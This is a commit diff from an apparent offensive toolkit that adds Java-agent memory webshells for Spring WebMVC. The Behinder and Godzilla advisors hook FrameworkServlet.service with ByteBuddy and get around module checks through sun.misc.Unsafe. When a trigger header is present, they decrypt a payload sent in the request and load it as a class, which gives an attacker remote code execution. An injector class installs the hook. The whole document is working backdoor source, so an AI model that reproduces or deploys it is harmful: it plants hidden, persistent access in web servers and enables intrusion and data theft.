feat: support springwebmvc agent shell

1. hook point is org.springframework.web.servlet.FrameworkServlet.service
This commit is contained in:
ReaJason
2025-01-18 18:28:46 +08:00
parent f42424ba7c
commit 113b174837
8 changed files with 295 additions and 9 deletions
@@ -0,0 +1,96 @@
package com.reajason.javaweb.memshell.springmvc.behinder;
import net.bytebuddy.asm.Advice;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/18
*/
public class BehinderServletAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object res,
@Advice.Origin Class<?> targetClazz
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, targetClazz, offset, module);
} catch (Exception ignored) {
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
Object response = res;
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField("response");
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
response = field.get(response);
}
obj.put("response", response);
Object session = request.getClass().getMethod("getSession").invoke(request);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
obj.put("session", session);
byte[] data = null;
Class<?> base64;
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine();
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
Object instance = payload.newInstance();
instance.equals(obj);
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,104 @@
package com.reajason.javaweb.memshell.springmvc.godzilla;
import net.bytebuddy.asm.Advice;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class GodzillaServletAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response,
@Advice.Origin Class<?> clazz
) {
String key = "key";
String pass = "pass";
String md5 = "md5";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
} catch (Exception ignored) {
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES");
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
data = (byte[]) doFinalMethod.invoke(cipher, data);
Object session = request.getClass().getMethod("getSession").invoke(request);
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
if (sessionPayload == null) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
} else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) sessionPayload).newInstance();
f.equals(arrOut);
f.equals(request);
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
writer.write(md5.substring(0, 16));
f.toString();
cipherInitMethod.invoke(cipher, 1, secretKeySpec);
byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray());
String result = null;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
}
writer.write(result);
writer.write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell.springmvc.injector;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/28
*/
public class SpringFrameworkServletAgentInjector implements AgentBuilder.Transformer {
static Class<?> interceptorClass = null;
static {
try {
interceptorClass = Class.forName(getClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("service")));
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static String getClassName() {
return "{{advisorName}}";
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
new AgentBuilder.Default()
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.springframework.web.servlet.FrameworkServlet"))
.transform(new SpringFrameworkServletAgentInjector())
.installOn(inst);
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
}
}